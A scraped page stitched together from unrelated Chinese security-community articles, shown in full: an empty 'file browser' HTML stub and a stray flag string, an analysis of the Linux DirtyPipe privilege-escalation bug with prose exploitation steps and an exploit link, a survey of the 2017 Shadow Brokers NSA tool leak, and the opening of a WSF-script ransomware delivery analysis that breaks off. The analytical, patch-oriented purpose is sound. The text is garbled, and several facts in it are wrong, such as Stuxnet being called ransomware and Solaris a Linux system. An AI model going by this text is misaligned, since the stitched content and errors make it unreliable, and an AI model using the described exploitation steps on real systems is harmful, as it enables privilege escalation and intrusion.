<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>file browser</title>
</head>
</body></html>
flag{f1eed0ffda188381fc2521e61b9a2788bb3a} | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/RoGHvNW2Y6dZOjgsBVVm5Q>**
### 01 漏洞详情
近日，研究人员披露了一个Linux内核本地权限提升漏洞，发现在copy_page_to_iter_pipe和
push_pipe函数中，新分配的pipe_buffer结构体成员“flags”未被正确地初始化，可能包含旧值PIPE_BUF_FLAG_CAN_MERGE。攻击者可利用此漏洞向由只读文件支持的页面缓存中的页面写入数据，从而提升权限。该漏洞编号为CVE-2022-0847，因漏洞类型和“DirtyCow”（脏牛）类似，亦称为“DirtyPipe”。
### 02 相关系统调用实现
#### 2.1 pipe系统调用实现
调用pipe()创建一个管道，返回两个文件描述符，fd[1]为读，fd[2]为写。这里以linux-5.16.10内核代码为例，调用到__do_pipe_flags()函数，该函数代码实现如下：
首先调用create_pipe_files()，然后调用get_unused_fd_flags()分别获取未使用的文件描述符fdr和fdw，并写入到指针fd中。create_pipe_files()函数调用get_pipe_inode()函数获取一个inode，并初始化相关数据结构。get_pipe_inode()函数又调用alloc_pipe_info()函数分配一个pipe_inode_info，该结构体是一个内核pipe结构体，用于管道的管理和操作。具体看下alloc_pipe_info()函数，该函数实现代码如下：
首先初始化pipe_bufs为PIPE_DEF_BUFFERS，该值为16，然后分配pipe，接着判断pipe_bufs*PAGE_SIZE的大小，pipe_bufs最大值为128，最小值为2。
然后开始分配pipe->bufs，正常一次性分配16个pipe_buffer，然后初始化pipe的相关成员，这里并不会初始化pipe_bufs中的pipe_buffer。piper_buffer结构体定义如下：
其中page用于存放数据，大小为一个页面，ops为对应内存页面操作集，成员flags为buffer类型。这16个pipe_buffer构成一个管道缓冲区的循环数组，pipe->head指向缓冲区生产点，pipe->tail指向消费点，在pipe的管理下，循环地用于数据的读取和写入。
当向管道中写入数据时，会调用pipe_write()函数，该函数部分实现代码如下：
首先从pipe->head开始，判断pipe是否为满的。不满的情况下，拿出一个pipe_buffer，判断page是否已分配，未分配随即分配一个新page，然后初始化这个pipe_buffer相关成员，实现代码如下：
行527，将buf->flags设置为PIPE_BUF_FLAG_CAN_MERGE，表示该buffer是可以合并的。最后调用copy_page_from_iter()函数将数据拷贝到新分配的page中。当从管道中读取数据时，就是逆过程，其间并不改变既定buffer的页面类型，不再赘述。
#### 2.2 splice系统调用实现
splice是Linux
2.6.17新加入的系统调用，用于在两个文件间移动数据，而无需内核态和用户态的内存拷贝，但需要借助管道（pipe）实现。大概原理就是通过pipe
buffer实现一组内核内存页（pages of kernel memory）的引用计数指针（reference-countedpointers），数据拷贝过程中并不真正拷贝数据，而是创建一个新的指向内存页的指针。也就是说拷贝过程实质是指针的拷贝，称为零拷贝技术。
调用splice系统调用时，内核中会调用do_splice()函数，该函数实现代码如下：
分三种情况，第一种为in/out均为pipe类型，第二种是in为pipe类型，第三种是out为pipe类型，这里我们分析第三种情况。调用spilce_file_tp_pipe()函数将数据写入pipe中，具体会调用到generic_file_splice_read()函数，这里以linux-2.6.17内核版本为例，更容易理解零拷贝过程。该函数实现如下：
然后调用到__generic_file_splice_read()函数，该函数实现代码如下：
映射到内存的页面(structpage)，其实就是每个file都有这么一个结构，将文件系统中这个file对应的数据与这个file对应的内存绑定到一起。然后定义一个splice_pipe_desc结构体，该结构体用于中转file对应的内存页。接下来就是将file对应的内存页面整理放在spd中，过程比较复杂，略过。最后调用splice_to_pipe()函数操作pipe和spd，该函数实现关键代码如下所示：
依次循环地从spd->pages中取出内存页放在对应的buf->page中。可以看出这里仅仅是对内存页面进行转移，而没有进行任何内存拷贝。
### 03 漏洞原理与补丁
#### 3.1 漏洞原理
在linux-5.16.10内核中，调用splice()函数将数据写入管道时，调用路径如下所示：
比linux-2.6.17内核版本的复杂，最终会调用copy_page_to_iter_pipe()函数操作内存页面，该函数实现代码如下：
如前文所述，从pipe中取出buf，只是替换了ops，page，offset和len，并没有修改buf->flags，因此该buffer所包含的页面是可以合并的。当再次向管道中写入数据时，因为pipe非初次使用，首先判断要写入的buffer类型，如果buf->flags为PIPE_BUF_FLAG_CAN_MERGE，行466，直接调用copy_page_from_iter()函数进行内存拷贝，而目的地址为buf->page，这个buf->page实际上就是来自file中对应的内存页面。
#### 3.2 补丁
该漏洞补丁在copy_page_to_iter_pipe()函数和push_pipe()函数中，将buf->flags置零。其中push_pipe()函数可在其他路径中触发，不再赘述。
### 04 利用分析
首先，调用pipe创建管道并通过写读操作将管道中的buffer类型设置为PIPE_BUF_FLAG_CAN_MERGE。
然后，将要覆盖的文件通过splice写入到pipe中，公开的利用中被覆盖的文件为/usr/bin/pkexec，因为该程序具备suid能力。
触发漏洞后，此时pipe中buf所包含的内存页面均是指向/usr/bin/pkexec文件所属的内存页面，而且内存页面都是可以合并的。最后再次调用write()函数将提权payload写入pipe中，即写入/usr/bin/pkexec文件中，然后运行/usr/bin/pkexec提升权限。
### 参考链接：
[1]<https://dirtypipe.cm4all.com/>
[2]<https://haxx.in/files/dirtypipez.c>
[3]<https://lore.kernel.org/lkml/[email protected]/>
* * * | 社区文章 |
# 2017 NSA网络武器库泄露工具总结分析
##### 译文声明
本文是翻译文章，文章原作者 天融信阿尔法实验室，文章来源：topsec.com.cn
原文地址：<http://blog.topsec.com.cn/ad_lab/2017-nsa%E7%BD%91%E7%BB%9C%E6%AD%A6%E5%99%A8%E5%BA%93%E6%B3%84%E9%9C%B2%E5%B7%A5%E5%85%B7%E6%80%BB%E7%BB%93%E5%88%86%E6%9E%90/>
译文仅供参考，具体内容表达以及含义原文为准。
作者：天融信阿尔法实验室
## 目录
一、背景介绍
二、泄漏工具包分析
2.1 EASYBEE
2.2 ESTEEMAUDIT.
2.3 ETERNALROMANCE.
2.4 ENGLISHMANSDENTIST.
2.5 ESKIMOROLL.
2.6 ZIPPYBEER.
2.7 ETERNALSYNERGY.
2.8 Eternalblue.
2.9 Doublepulsar
2.10 Explodingcan.
2.11 Easypi
2.12 Emphasismine.
2.13 Ewokfrenzy.
2.14 ETRE.
2.15 Eclipsedwing.
2.16 Erraticgopher
2.17 Eternalchampion.
2.18 Educatedscholar
2.19 Emeraldthread.
2.20 EARLYSHOVEL.
2.21 Ebbshave.
三、2017漏洞总结
3.1 2017Solaris漏洞
3.2 2017Windows漏洞
3.3 利用漏洞的蠕虫传播
## 一、背景介绍
本文档主要剖析2017年nsa泄漏的国家网络武器库工具列表的内容，重点分析涉及的受影响的系统及危害程度，文件内容及补丁修补情况。
2017年4月14日，Shadow Brokers再次泄露出一份震惊世界的机密文档，其中包含了多个 Windows 远程漏洞利用工具，可以覆盖全球 70%
的 Windows 服务器，影响程度非常巨大。除Microsoft Windows以外，受影响的产品还有： IBM Lotus Notes，Mdaemon，
EPICHERO Avaya Call Server，Imail。
2017 年 4 月 8 日，“Shadow Brokers” 公布了保留部分的解压缩密码，有人将其解压缩后的上传到Github网站提供下载。
2017 年 4 月 14 日晚，继上一次公开解压密码后，“Shadow Brokers”
，在推特上放出了第二波保留的部分文件，下载地址为https://yadi.sk/d/NJqzpqo_3GxZA4，解压密码是
“Reeeeeeeeeeeeeee”。
此次发现其中包括新的23个黑客工具。具体请参考：https://github.com/misterch0c/shadowbroker/blob/master/file-listing
2017年5月12日晚，一款名为Wannacry 的蠕虫勒索软件袭击全球网络，这被认为是迄今为止最巨大的勒索交费活动，影响到近百个国家上千家企业及公共组织。
该蠕虫利用了泄漏的NSA武器库中的“永恒之蓝”漏洞进行传播。同时该软件被认为是一种蠕虫变种（也被称为“Wannadecrypt0r”、“wannacryptor”或“
wcry”），像其他勒索软件的变种一样，WannaCry也阻止用户访问计算机或文件，要求用户需付费解锁。
一旦电脑感染了Wannacry病毒，受害者要高达300美元比特币的勒索金才可解锁。否则，电脑就无法使用，且文件会被一直封锁。
研究人员还发现了大规模恶意电子邮件传播，以每小时500封邮件的速度传播杰夫勒索软件，攻击世界各地的计算机。
2017年5月15日，自勒索蠕虫WannaCry之后又有一种新的蠕虫EternalRocks（永恒之石）通过SMB进行了攻击传播，同样是利用了NSA工具，EternalRocks利用了ETERNALBLUE、ETERNALCHAMPION、ETERNALROMANCE、以及ETERNALSYNERGY四个NSA的SMB漏洞利用工具，同时具备了漏洞扫描工具SMBTOUCH和ARCHITOUCH
，还有一个后门感染工具DOUBLEPULSAR。天融信阿尔法实验室经过样本分析判断，虽然蠕虫永恒之石不具备主动恶意破坏功能，但是在会在感染设备上留后门进行贮存，同时相比之前的勒索蠕虫，永恒之石蠕虫利用的技术及方式更加复杂高级，犹如一颗定时炸弹，后续带来不确定性的危害更高。
## 二、泄漏工具包分析
### 2.1 EASYBEE
#### 2.1.1漏洞介绍
EasyBee是NSA开发的针对邮件系统MDaemon代码执行漏洞的一个工具，它支持多个版本MDaemon是一款著名的标准SMTP/POP/IMAP邮件服务系统，由美国Alt-N公司开发。它提供完整的邮件服务器功能，保护用户不受垃圾邮件的干扰，实现网页登陆收发邮件，支持远程管理，并且当与MDaemon
AntiVirus插件结合使用时，它还保护系统防御邮件病毒。它安全，可靠，功能强大，是世界上成千上万的公司广泛使用的邮件服务器。
#### 2.1.2影响版本
该工具主要对MDaemon的以下几个版本有影响，
9.5.2 9.6.0 9.6.1 9.6.2 9.6.3 9.6.4 9.6.5 9.6.6
10.0.1 10.0.2 10.0.3 10.0.4 10.0.5 10.1.0 10.1.1 10.1.2
#### 2.1.3所在位置
\windows\exploits\Easybee-1.0.1.exe
#### 2.1.4危害评估
利用EasyBee需要知道MDaemon管理员账户、密码
可被勒索软件利用
传播性：低
利用难度：高
#### 2.1.5文件详细说明
MD5: 2DEE8E8FCCD2407677FBCDE415FDF27E
编译时间: 2009年12月8日20:33:20
#### 2.1.6补丁情况
升级到最新版
<http://www.altn.cn/download/download.htm>
### 2.2 ESTEEMAUDIT
#### 2.2.1漏洞介绍
windows 2000操作系统的一项新特性是支持smart card和smart card readers。当smart
card用于客户端认证、登录、代码签名时，私钥的操作都是在smart
card而不是主机中完成的，这就为域中的重要系统提供了较高的安全保障。密码和私钥管理是由cryptographic service
provider(CSP) modules完成的。CSP可以由硬件实现，或者软件实现，也可以由二者结合。
windows server 2003在处理来自Gemplus GemSAFE
Card的远程登录过程中存在一个越界写漏洞和一个逻辑不正确漏洞，利用代码模拟出一个Gemplus GemSAFE
card硬件设备来与服务器进行远程桌面通信，通信协议则采用的是开源的RDP。通过伪造一系列smart
card登录认证所需要的数据包来触发漏洞并最终实现远程代码执行。
#### 2.2.2影响版本
Windows XP、Windows server 2003，开放3389端口的域控环境
#### 2.2.3所在位置
\windows\exploits\Esteemaudit-2.1.0.exe
#### 2.2.4危害评估
使用此工具需要进入域环境，并且目标主机开放3389端口，如果满足以上两个条件，攻击者可以利用此工具在域环境中传播勒索软件。
#### 2.2.5文件详细说明
MD5: 1D2DB6D8D77C2E072DB34CA7377722BE
编译时间: 2012年10月2日16:13:30
#### 2.2.6补丁情况
微软针对xp,2003系统推出了补丁
<https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/>
### 2.3 ETERNALROMANCE
#### 2.3.1漏洞介绍
在使用SMB发送数据的时候，通过构造特殊格式混淆类型从而造成SMBV1溢出漏洞
，允许攻击者发送特殊构建的网络消息给运行server服务的计算机，成功利用漏洞可导致计算机停止响应，直至重新启动。
#### 2.3.2影响版本
XP_SP0SP1SP2SP3_X86
XP_SP1SP2_X64
SERVER_2003_SP0SP1SP2
VISTA_SP0SP1SP2
SERVER_2008_SP0SP1SP2
WIN7_SP0SP1
SERVER_2008R2_SP0SP1
#### 2.3.3所在位置
#### 2.3.4危害评估
只要是对外开放445端口且没有打补丁的主机都可能被攻击，被攻击的主机能被植入勒索软件，此漏洞的利用难度较低
#### 2.3.5文件详细说明
Eternalromance-1.3
MD5: 8D3FFA58CB0DC684C9C1D059A154CF43
编译时间: 2011年8月18日 20:35:33
Eternalromance-1.4
MD5: 4420F8917DC320A78D2EF14136032F69
编译时间: 2012年5月19日 18:31:23
#### 2.3.6补丁情况
MS17-010补丁
停止使用SMBv1
关闭445端口
<https://technet.microsoft.com/zh-cn/library/security/MS17-010>
### 2.4 ENGLISHMANSDENTIST
#### 2.4.1漏洞介绍
通过SMTP漏洞攻击，默认端口25。
EPICHERO Avaya Call Server 的0day，使用Outlook Exchange
WebAccess规则向用户发送邮件的时候会触发客户端的可执行代码漏洞
#### 2.4.2影响版本
MS Exchange 2000
MS Exchange 2003
MS Exchange 2007
#### 2.4.3所在位置
#### 2.4.4危害评估
成功利用这个漏洞可以实现远程攻击者通过触发可执行代码在客户端给别人发送邮件
#### 2.4.5文件详细说明
MD5: 305A1577298D2CA68918C3840FCCC958
编译时间: 2011年4月28日 18:50:33
#### 2.4.6补丁情况
升级至2010以上版本
https://products.office.com/zh-cn/exchange/email
### 2.5 ESKIMOROLL
#### 2.5.1漏洞介绍
ESKIMOROLL 是 Kerberos 的漏洞利用攻击，可以攻击开放了 88 端口的
Windows的域控制器，漏洞编号为MS14-068，修复于2014年。该漏洞允许黑客提升任意普通用户权限成为域管理员（Domain
Admin）身份。也就是说，你在一台普通域用户的机器上利用这个漏洞，那么这个域用户就变成域管理员权限，然后，该域用户就可以控制整个域的所有机器了
#### 2.5.2影响版本
WIN_2000
WIN_2003
WIN_2003_R2
WIN_2008
WIN_2008_R2 域控制器
#### 2.5.3所在位置
#### 2.5.4危害评估
可被勒索软件利用
传播性：易传播
利用难度：高
#### 2.5.5文件详细说明
MD5: 91AB4B74E86E7DB850D7C127EEB5D473
编译时间: 2011年3月12日 19:20:57
#### 2.5.6补丁情况
MS14-068补丁
<https://technet.microsoft.com/zh-cn/library/security/ms14-068.aspx>
### 2.6 ZIPPYBEER
#### 2.6.1漏洞介绍
基于windows域控和smb验证漏洞的利用工具，获取登录认证hash
#### 2.6.2影响版本
Windows Domain
#### 2.6.3所在位置
#### 2.6.4危害评估
此漏洞针对开启445端口的域控服务器，在获取到密码的情况下实施远程控制，最终可拿到远程服务器的命令执行权限，危害较高。
#### 2.6.5文件详细说明
Ewokfrenzy-2.0.0.exe
MD5 值: 84986365E9DFBDE4FDD80C0E7481354F
编译时间:2009年12月16日 21:02:53
Explodingcan-2.0.2.exe
MD5 值: DC53BD258F6DEBEF8604D441C85CB539
编译时间:2012年10月13日 13:24:10
#### 2.6.6补丁情况
无补丁，微软停止更新。关闭445端口。
### 2.7 ETERNALSYNERGY
#### 2.7.1漏洞介绍
SMBv3远程代码执行，攻击者可以提交恶意请求报文对系统进行拒绝服务攻击。
利用此漏洞无需验证，允许攻击者发送特殊构建的网络消息给运行server服务的计算机，成功利用漏洞可导致计算机停止响应，直至重新启动。
#### 2.7.2影响版本
WIN8_X64_SP0
SERVER_2012_X64_SP0
#### 2.7.3所在位置
#### 2.7.4危害评估
未打补丁且对外开放445端口的主机都有可能被勒索软件利用，在控制主机后可以直接安装勒索软件
#### 2.7.5文件详细说明
MD5: 2A8D437F0B9FFAC482750FE052223C3D
编译时间: 2012年11月20日 20:46:53
#### 2.7.6补丁情况
安装MS17-010补丁
<https://technet.microsoft.com/zh-cn/library/security/MS17-010>
### 2.8 Eternalblue
#### 2.8.1漏洞介绍
SMBv2远程溢出漏洞，对应漏洞编号为MS17-010，针对445端口。详情，srv.sys在处理SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝。SrvOs2FeaListToNt首先调用SrvOs2FeaListSizeToNt计算pNtFea的大小。SrvOs2FeaListSizeToNt函数会修改原始的pOs2Fea中的Length大小,
Length本身是一个DWORD,
代码还强制转换成了WORD,然后以计算出来的Length来分配pNtFea.最后调用SrvOs2FeaToNt来实现转换。造成远程溢出。
#### 2.8.2影响版本
WindowsXP到windows2012
#### 2.8.3所在位置
EQGRP_Lost_in_Translation-master\windows\touches
EQGRP_Lost_in_Translation-master\windows\specials
#### 2.8.4危害评估
是否可被勒索软件利用 : 此漏洞可用于进行蠕虫攻击
传播性如何：需要开启smb服务，影响较广，wannacry利用的此漏洞
利用难度：低
#### 2.8.5文件详细说明
MD5: 8C80DD97C37525927C1E549CB59BCBF3
2013年5月29日14：14：33
#### 2.8.6补丁情况
安装MS17-010补丁
<https://technet.microsoft.com/zh-cn/library/security/MS17-010>
### 2.9 Doublepulsar
#### 2.9.1漏洞介绍
属于黑客工具，在Etrenalbule等漏洞利用成功后，使用此工具连接后门，然后加载dll或者shellcode。
#### 2.9.2影响版本
感染指定后门程序，都可以使用此工具连接
#### 2.9.3所在位置
EQGRP_Lost_in_Translation-master\windows\payloads
#### 2.9.4危害评估
是否可被勒索软件利用 :此工具为黑客工具，不能利用。
传播性如何：无
利用难度：低
#### 2.9.5文件详细说明
MD5: C24315B0585B852110977DACAFE6C8C1
2013年1月3日20：03：18
#### 2.9.6补丁情况
这个是后门工具，没有补丁，属于漏洞利用成功后部署的连接工具
### 2.10 Explodingcan
#### 2.10.1漏洞介绍
Explodingcan是针对Windows 2003系统 IIS6.0服务的远程攻击工具，但需要目标主机开启WEBDAV才能攻击，不支持安全补丁更新。
#### 2.10.2影响版本
Windows Server 2003 IIS6.0
#### 2.10.3所在位置
EQGRP_Lost_in_Translation-master\windows\touches
EQGRP_Lost_in_Translation-master\windows\exploits
#### 2.10.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击。
传播性如何：目标需要开放webdav服务，且只针对iis6，默认iis6是不开启webdav服务，所以影响有一定局限性。
利用难度：低
#### 2.10.5文件详细说明
MD5: DC53BD258F6DEBEF8604D441C85CB539
2012年10月13日13：24：10
#### 2.10.6补丁情况
无补丁，微软已停止更新。关闭iis6上webdav服务。
### 2.11 Easypi
#### 2.11.1漏洞介绍
IBM Lotus Notes远程溢出漏洞
#### 2.11.2影响版本
IBM Lotus Notes (Windows NT, 2000 ,XP, 2003)
#### 2.11.3所在位置
EQGRP_Lost_in_Translation-master\windows\exploits
#### 2.11.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击。
传播性如何：需要目标系统安装IBM Lotus Notes，且对外开放指定端口，影响范围有限定
利用难度：低
#### 2.11.5文件详细说明
MD5: 7E1A081A93D07705BD5ED2D2919C4EEA
2011年2月9日15：03：00
#### 2.11.6补丁情况
<https://www.ibm.com/developerworks/cn/downloads/>
### 2.12 Emphasismine
#### 2.12.1漏洞介绍
针对 Lotus Domino软件IMAP服务的漏洞攻击工具。
#### 2.12.2影响版本
IBM Lotus Domino 6.5.4, 6.5.5, 7.0, 8.0, 8.5
#### 2.12.3所在位置
EQGRP_Lost_in_Translation-master\windows\exploits
#### 2.12.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击。
传播性如何：需要目标安装对应的IBM Lotus Domino，影响范围有限定
利用难度：低
#### 2.12.5文件详细说明
MD5: 76237984993D5BAE7779A1C3FBE2AAC2
2012年5月30日18：36：16
#### 2.12.6补丁情况
<https://www.ibm.com/developerworks/cn/downloads/>
### 2.13 Ewokfrenzy
#### 2.13.1漏洞介绍
针对 Lotus Domino软件IMAP服务的漏洞攻击工具
#### 2.13.2影响版本
IBM Lotus Domino 6.5.4, 7.0.2
#### 2.13.3所在位置
EQGRP_Lost_in_Translation-master\windows\exploits
#### 2.13.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击。
传播性如何：需要目标安装对应的IBM Lotus Domino，影响范围有限定。
利用难度：低
#### 2.13.5文件详细说明
MD5: 84986365E9DFBDE4FDD80C0E7481354F
2009年12月16日21：02：53
#### 2.13.6补丁情况
<https://www.ibm.com/developerworks/cn/downloads/>
### 2.14 ETRE
#### 2.14.1漏洞介绍
IMail 8.10~8.22远程利用工具
#### 2.14.2影响版本
Mail 8.10~8.22
#### 2.14.3所在位置
EQGRP_Lost_in_Translation-master\windows\Resources\LegacyWindowsExploits\Exploits\ETRE 1.0.4
#### 2.14.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击。
传播性如何：需要目标安装对应的IMAIL邮件系统，影响范围有限定
利用难度：低
#### 2.14.5文件详细说明
MD5: 84986365E9DFBDE4FDD80C0E7481354F
2009年12月16日21：02：53
#### 2.14.6补丁情况
升级lmail最新版本
### 2.15 Eclipsedwing
#### 2.15.1漏洞介绍
Eclipsedwing 其实就是MS08067。
MS08067漏洞描述：MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的 RPC
请求，则该漏洞可能允许远程执行代码。
在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003
系统上，攻击者可能未经身份验证即可利用此漏洞运行任意代码。
#### 2.15.2影响版本
Microsoft Windows 2000、Windows XP 和 Windows Server 2003
#### 2.15.3所在位置
EQGRP_Lost_in_Translation-master\windows\touches为探针模块，探测目标漏洞是否存在
EQGRP_Lost_in_Translation-master\windows\exploits 为攻击模块
#### 2.15.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击，
传播性如何：内网扩散快，跟wannacry利用的类似
利用难度：低
#### 2.15.5文件详细说明
Eclipsedwingtouch-1.0.4.exe
MD5: 212665C005DFCB483D4645572C680583
编译时间：2010-9-10 21:11:50
Eclipsedwing-1.5.2.exe
MD5 值: 195EFB4A896E41FE49395C3C165A5D2E
编译时间：2010-7-17 1:31:22
#### 2.15.6补丁情况
KB958644补丁编号，受漏洞影响的版本都有补丁。
<https://technet.microsoft.com/zh-cn/library/security/ms08-067.aspx>
### 2.16 Erraticgopher
#### 2.16.1漏洞介绍
ErraticGopher 是RPC溢出漏洞,需要目标开启RRAS服务，Windows XP 和 Windows Server 2003 系统上。
#### 2.16.2影响版本
XPSP3，W2K3SP0，W2K3SP1，W2K3SP2
#### 2.16.3所在位置
EQGRP_Lost_in_Translation-master\windows\touches为探针模块，探测目标漏洞是否存在
EQGRP_Lost_in_Translation-master\windows\exploits 为攻击模块
#### 2.16.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击，
传播性如何：需要目标开启RRAS服务，影响范围中度，内网扩散快，跟wannacry利用的类似
利用难度：低
#### 2.16.5文件详细说明
Erraticgophertouch-1.0.1.exe
MD5 : 9F60E690FEABDAA2611373E93AA50450
编译时间：2010-9-10 21:29:21
Erraticgopher-1.0.1.exe
MD5 : B4CB23D33C82BB66A7EDCFE85E9D5361
编译时间：2010-9-10 20:34:30
#### 2.16.6补丁情况
无补丁，微软已停止更新。
### 2.17 Eternalchampion
#### 2.17.1漏洞介绍
SMBv1漏洞攻击工具 ，攻击者向 Microsoft 服务器消息块 1.0 (SMBv1)
服务器发送经特殊设计的消息，则其中最严重的漏洞可能允许远程代码执行。
#### 2.17.2影响版本
Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2, 2012, Windows 8 SP0
#### 2.17.3所在位置
EQGRP_Lost_in_Translation-master\windows\specials一些特殊的攻击框架
#### 2.17.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击，
传播性如何：这个也是ms17010漏洞，但是影响版本更大，范围更广，内网扩散快
利用难度：低
#### 2.17.5文件详细说明
Eternalchampion-2.0.0.exe
MD5值：D2FB01629FA2A994FBD1B18E475C9F23
编译时间：2013-8-8 16:54:12
#### 2.17.6补丁情况
已被微软补丁MS17-010修复
<https://technet.microsoft.com/zh-cn/library/security/MS17-010>
### 2.18 Educatedscholar
#### 2.18.1漏洞介绍
MS09-050漏洞，Microsoft windows SMB2是新版windows捆绑的SMB协议实现，Microsoft Server Message
Block (SMB)协议软件处理特殊构建的SMB报文存在漏洞，攻击者可以提交恶意请求报文对系统进行拒绝服务攻击。
利用此漏洞无需验证，允许攻击者发送特殊构建的网络消息给运行server服务的计算机，成功利用漏洞可导致计算机停止响应，直至重新启动。
#### 2.18.2影响版本
Windows vista, 2008
#### 2.18.3所在位置
EQGRP_Lost_in_Translation-master\windows\touches为探针模块，探测目标漏洞是否存在
EQGRP_Lost_in_Translation-master\windows\exploits 为攻击模块
#### 2.18.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击
传播性如何：这个也是ms17010漏洞，但是影响版本没永恒之蓝大，范围小，内网扩散快
利用难度：低
#### 2.18.5文件详细说明
Educatedscholartouch-1.0.0.exe
Md5: 3D553DA33796C8C73ED00B3D9A91E24E
编译时间：2009-11-3 15:19:57
Educatedscholar-1.0.0.exe
Md5: 0BC136522423099F72DBF8F67F99E7D8
编译时间：2009-11-3 15:18:04
#### 2.18.6补丁情况
已被微软补丁MS09-050漏洞
<https://technet.microsoft.com/zh-cn/library/security/ms09-050.aspx>
### 2.19 Emeraldthread
#### 2\. 19.1漏洞介绍
SMBv1漏洞攻击工具，攻击者向 Microsoft 服务器消息块 1.0 (SMBv1)
服务器发送经特殊设计的消息，则其中最严重的漏洞可能允许远程代码执行。
#### 2\. 19.2影响版本
Windows XP，Vista，7，Windows Server2003，2008
#### 2\. 19.3所在位置
EQGRP_Lost_in_Translation-master\windows\touches为探针模块，探测目标漏洞是否存在
EQGRP_Lost_in_Translation-master\windows\exploits 为攻击模块
#### 2\. 19.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击，Stuxnet勒索软件就利用了这个漏洞
传播性如何：这个是ms10061漏洞，但是影响版本没永恒之蓝大，范围小，内网扩散快
利用难度：低
#### 2\. 19.5文件详细说明
Emeraldthreadtouch-1.0.0.exe
Md5: A35C794EFE857BFD2CFFFA97DD4A2ED3
编译时间：2010-7-17 1:53:57
Emeraldthread-3.0.0.exe
Md5: 52933E70E022054153AA37DFD44BCAFA
编译时间：2010-9-11 5:59:11
#### 2\. 19.6补丁情况
已被微软补丁MS10-061修复，补丁KB2347290
<https://technet.microsoft.com/zh-cn/library/security/ms10-061.aspx>
### 2.20 EARLYSHOVEL
#### 2\. 20.1漏洞介绍
REDHAT 7.0/7.1/7.3 的sendmail RPC漏洞
#### 2\. 20.2影响版本
Sendmai 8.11.x
#### 2\. 20.3所在位置
EQGRP-master\Linux\bin\earlyshovel\eash.py是主执行文件
#### 2\. 20.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击，比如Linux.Encoder.1
传播性如何：这个是REAHAT系统下的sendmail远程命令执行漏洞，可以上传恶意文件到目标系统，但是影响版本小，范围小
利用难度：低
#### 2\. 20.5文件详细说明
Eash.py
MD5 值: 553D99A9CEC0BCC203122B6E8787C9C4
都是python脚本文件，修改时间不详
#### 2\. 20.6补丁情况
影响版本已打补丁
<http://www.educity.cn/labs/1449443.html>
### 2.21 Ebbshave
#### 2\. 21.1漏洞介绍
Solaris系统是sun公司旗下linux平台系统，这个漏洞工具是攻击solaris系统的RPC服务，rpc是Remote Procedure
call即远程调用服务，比如可以通过例程在sun solaris 中获取远端server上获取时钟信息。这个漏洞是XOR溢出漏洞。
#### 2\. 21.2影响版本
solaris 2.6,2.7,2.8,2.9,2.10
#### 2\. 21.3所在位置
EQGRP-master\Linux\bin
#### 2\. 21.4危害评估
是否可被勒索软件利用 :此漏洞可用于进行蠕虫攻击，比如Linux.Encoder.1
传播性如何：这个是Solaris系统下的RPC溢出漏洞，可以上传恶意文件到目标系统，但是影响版本比较老，范围小。
利用难度：低
#### 2\. 21.5文件详细说明
Ebbshave.v4
MD5 值: 1C60BD874B6152CE5D9B58B910A672D9
Ebbshave.v5
MD5 值: 55DAE80F0414E67E86FB5EDF393C566C
#### 2\. 21.6补丁情况
升级Solaris最新版本
<http://www.oracle.com/technetwork/server-storage/solaris11/downloads/index.html>
## 三、2017漏洞总结
### 3.1 2017SOLARIS漏洞
在这次的脚本泄露事件中，Solaris 的RPC远程溢出为0day，Readhat的sendmail溢出漏洞已经打了补丁。
### 3.2 2017WINDOWS漏洞
在本次的脚本泄露事件中，windows
的smb漏洞最多，一共有11个工具针对sam漏洞进行攻击，其中ms17010影响最严重通杀所有windows版本。还有攻击windows3389端口的域内机器。其他影响的还有邮件服务器MDaemon
，和imail 漏洞利用工具2个，版本覆盖很全面。IBM
Lotus漏洞利用工具有三个。还有一些提权工具比如kerberos漏洞，还有后门工具比如Doublepulsar等。
### 3.3 利用漏洞的蠕虫传播
ETERNALBLUE
，永恒之蓝，这个是影子经纪人泄露的NSA攻击工具，攻击window的smbv1协议，端口为445，在公网上这个端口基本屏蔽了，但是有些内网是开放的。给
WannaCrypotor
带来了便利，因为其功能的影响性影响了很多设备。同时新出现的两个变种样本，其中一个只是更改了域名开关，另外一个不能完全触发，所以在防御上并不需要多做处理，但是不排除将来出现新的样本照成更严重的破坏。 | 社区文章 |
# WSF文件格式成为敲诈者传播新途径
|
##### 译文声明
本文是翻译文章，文章来源：360vulcan:郑超宇
译文仅供参考，具体内容表达以及含义原文为准。
2016年以来以Locky为代表的勒索软件利用Office宏，js脚本等方式肆意传播，近期360安全中心监测到出现了以wsf格式文件传播的新型传播方式，本文360QEX引擎团队会针对此新型传播方式进行详细的分析。wsf格式文件是windows脚本文件（windows
script file）的简称，一个wsf文件中不仅可以同时包含js和vbs脚本，而且可以包含Perl，Object REXX
等脚本，因此它可以作为一个脚本容器。
通过近期的观察，发现近期流行的wsf格式文件主要以内嵌js文件为主，此种格式文件主要通过以下两种方式进行敲诈者病毒传播：将敲诈者病毒内嵌到wsf文件中，然后运行释放出敲诈者病毒的方式；将wsf文件作为下载器，然后从远程下载运行敲诈者病毒的方式。
我们将这两种方式分别简称为内嵌释放方式和下载器方式，下面分别对这两种方式进行详细的分析解释。
**0x01** **内嵌释放方式**
通过内嵌释放方式传播的样本将pe文件内容存放到脚本的一个变量之中，然后通过对此变量的操作将pe文件释放到用户的电脑中。
下面就结合样本1对此传播方式进行分析，样本信息如下所示。
样本文件
